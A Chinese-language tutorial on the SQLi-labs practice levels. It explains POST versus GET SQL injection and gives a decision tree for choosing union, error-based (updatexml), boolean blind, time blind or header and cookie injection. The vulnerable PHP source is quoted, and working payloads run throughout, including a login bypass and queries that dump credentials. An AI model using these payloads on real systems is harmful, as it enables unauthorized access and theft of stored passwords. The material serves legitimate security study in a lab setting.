POST注入原理,差异以及手法,和判断什么时候应该使用什么注入手法
php// Less-1(GET)
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// Less-11(POST)
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
| 差异 | Less-1 | Less-11 |
|---|---|---|
| 数据来源 | $_GET['id'] | $_POST['uname']、$_POST['passwd'] |
| SQL 结构 | WHERE id='$id' | WHERE username='$uname' and password='$passwd' |
| 注入点 | URL 参数 | 表单字段 |
| 闭合方式 | 单引号 ' | 单引号 '(Less-11)/ 双引号 "(Less-12) |
php<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
第1-3行:引入数据库连接,关闭 PHP 错误报告。
phpif(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
第5-8行:从 POST 请求体获取 uname 和 passwd,没有任何过滤。
php @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
第14行:核心漏洞! 两个变量都被单引号包裹,直接拼进 SQL。
注意 SQL 结构:
sqlWHERE username='$uname' and password='$passwd'
这里有 两个条件用 and 连接,注入时需要让整体条件为真。
php $result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysql_error()); // ← 有报错信息!
}
第16-31行:查到数据显示用户名密码,查不到显示 MySQL 报错信息 → 可以用 报错注入。
正常登录:
sqlSELECT * FROM users WHERE username='admin' and password='123456'
注入后:
sqlSELECT * FROM users WHERE username='admin' or 1=1 #' and password='anything'
-- ↑ 条件永远为真
-- # 注释掉后面
| 关卡 | 源码特征 | 闭合方式 |
|---|---|---|
| Less-11 | username='$uname' | 单引号 ' |
| Less-12 | username="$uname" | 双引号 " |
判断方法:
admin' → 报错 → 单引号字符型admin" → 报错 → 双引号字符型Less-11(单引号):
httpuname=admin' or 1=1 #&passwd=anything&submit=Submit
Less-12(双引号):
httpuname=admin" or 1=1 #&passwd=anything&submit=Submit
http# 爆库名 uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #&passwd=anything # 爆表名 uname=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #&passwd=anything # 爆数据 uname=admin' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) #&passwd=anything
| 对比项 | GET 注入(Less-1) | POST 注入(Less-11) |
|---|---|---|
| 数据位置 | URL 地址栏 | HTTP 请求体 |
| 查看方式 | 浏览器地址栏直接看到 | 需要抓包工具(Burp) |
| 特殊字符处理 | # 被截断,用 --+ 或 %23 | # 正常发送,直接用 # |
| 注释符推荐 | --+ | # |
| 测试工具 | 浏览器直接改 URL | Burp Suite、HackBar |
| 源码获取 | $_GET['id'] | $_POST['uname'] |
浏览器输入用户名密码 → 点击 Submit → Burp 拦截请求。
右键 → Send to Repeater
httpPOST /sqli-labs-master/Less-11/ HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded uname=admin' or 1=1 #&passwd=anything&submit=Submit
看 Response 是否显示登录成功和 flag 图片。
POST 注入表单填,Burp 抓包看请求体 单引号双引号要判断,万能密码 or 1=1 # 注释最方便,不用考虑空格问题 报错注入 updatexml,数据藏在错误里
| 手法 | 核心依赖 | 速度 | 适用场景 |
|---|---|---|---|
| 联合查询 | 页面有回显位(显示查询结果) | 快 | 能直接看到数据 |
| 报错注入 | 页面有报错信息(mysql_error()) | 快 | 无回显但有报错 |
| 布尔盲注 | 页面有真假两种状态 | 慢 | 无回显无报错,但真假不同 |
| 时间盲注 | 页面永远一样,只能看响应时间 | 极慢 | 无回显无报错,真假也相同 |
源码特征:
php$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo 'Your Login name:'. $row['username']; // ← 回显位!
echo 'Your Password:' .$row['password']; // ← 回显位!
只能用联合查询的原因:
echo $row['username'] 直接把查询结果显示出来union select 可以直接拼接数据到页面Payload:
sql?id=-1' union select 1,database(),version() --+
源码特征:
phpif($row) {
echo 'You are in...........'; // ← 只显示固定文字,不显示具体数据
} else {
print_r(mysql_error()); // ← 有报错信息!
}
只能用报错注入的原因:
mysql_error() → 可以用报错函数把数据藏在错误里Payload:
sql?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
源码特征:
php$uname=$_POST['uname']; // ← 无过滤
$passwd=$_POST['passwd']; // ← 无过滤
if($row) {
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
} else {
print_r(mysql_error()); // ← 有报错!
}
可以用多种手法:
源码特征:
php$uname=check_input($_POST['uname']); // ← 被过滤!
$passwd=$_POST['passwd']; // ← 没过滤!
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
if (mysql_error()) {
print_r(mysql_error()); // ← 有报错!
}
只能用报错注入的原因:
uname 被过滤,注入点在 passwdpasswd 拼进 UPDATE 语句,不是 SELECTmysql_error() → 只能用报错注入substr($value,0,15) → 截断到15字符
mysql_real_escape_string($value) → 转义单引号
加引号包裹 → ' + 转义后的值 + '
Payload:
httpuname=admin&passwd=' and updatexml(1,concat(0x7e,database(),0x7e),1) #&submit=Submit
源码特征:
php$uname = check_input($_POST['uname']); // ← 过滤!
$passwd = check_input($_POST['passwd']); // ← 过滤!
$uagent = $_SERVER['HTTP_USER_AGENT']; // ← 无过滤!
$IP = $_SERVER['REMOTE_ADDR'];
$insert="INSERT INTO uagents VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error()); // ← 有报错!
只能用 Header 注入的原因:
uname 和 passwd 被 check_input() 过滤死了HTTP_USER_AGENT 头完全没有过滤mysql_error() 报错Payload(修改 User-Agent 头):
httpUser-Agent: ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
源码特征:
phpif($row) {
echo 'You are in...........'; // ← 真状态
} else {
echo ""; // ← 假状态(空白!)
}
只能用布尔盲注的原因:
mysql_error() 被注释掉了)Payload:
sql?id=1' and ascii(substr(database(),1,1))=115 --+
源码特征:
phpif($row) {
echo 'You are in...........';
} else {
echo 'You are in...........'; // ← 和 if 分支完全一样!
}
只能用时间盲注的原因:
You are in...)Payload:
sql?id=1' and if(ascii(substr(database(),1,1))=115, sleep(5), 1) --+
发现注入点 ↓ 页面是否有回显位?(能否直接看到查询结果) ├── YES → 联合查询(Less-1/2/3/4/11) └── NO ↓ 页面是否有报错信息?(mysql_error()) ├── YES → 报错注入(Less-5/6/11/17/18) │ └── 注意:UPDATE/INSERT 只能用报错注入 └── NO ↓ 真假页面是否不同? ├── YES → 布尔盲注(Less-8/15/16) └── NO → 时间盲注(Less-9/10)
| 关卡 | 过滤情况 | 注入点 | 可用手法 |
|---|---|---|---|
| Less-1~4 | 无过滤 | id | 联合查询 |
| Less-5~6 | 无过滤 | id | 报错注入 |
| Less-8 | 无过滤 | id | 布尔盲注 |
| Less-9~10 | 无过滤 | id | 时间盲注 |
| Less-11~12 | 无过滤 | uname/passwd | 万能密码 / 联合查询 / 报错注入 |
| Less-13~14 | 无过滤 | uname/passwd | floor() 报错注入 |
| Less-15~16 | 无过滤 | uname/passwd | 布尔盲注 |
| Less-17 | uname 过滤,passwd 无过滤 | passwd | 只能报错注入(UPDATE 语句) |
| Less-18 | uname/passwd 过滤 | User-Agent | 只能 Header 报错注入 |
| Less-19 | uname/passwd 过滤 | Referer | 只能 Header 报错注入 |
| Less-20~22 | uname/passwd 过滤 | Cookie | 只能 Cookie 注入 |
有回显 → union select 直接看 有报错 → updatexml 把数据藏错误里 真假不同 → 布尔盲注看页面 全一样 → 时间盲注看延迟 被过滤 → 找没过滤的点(Header/Cookie)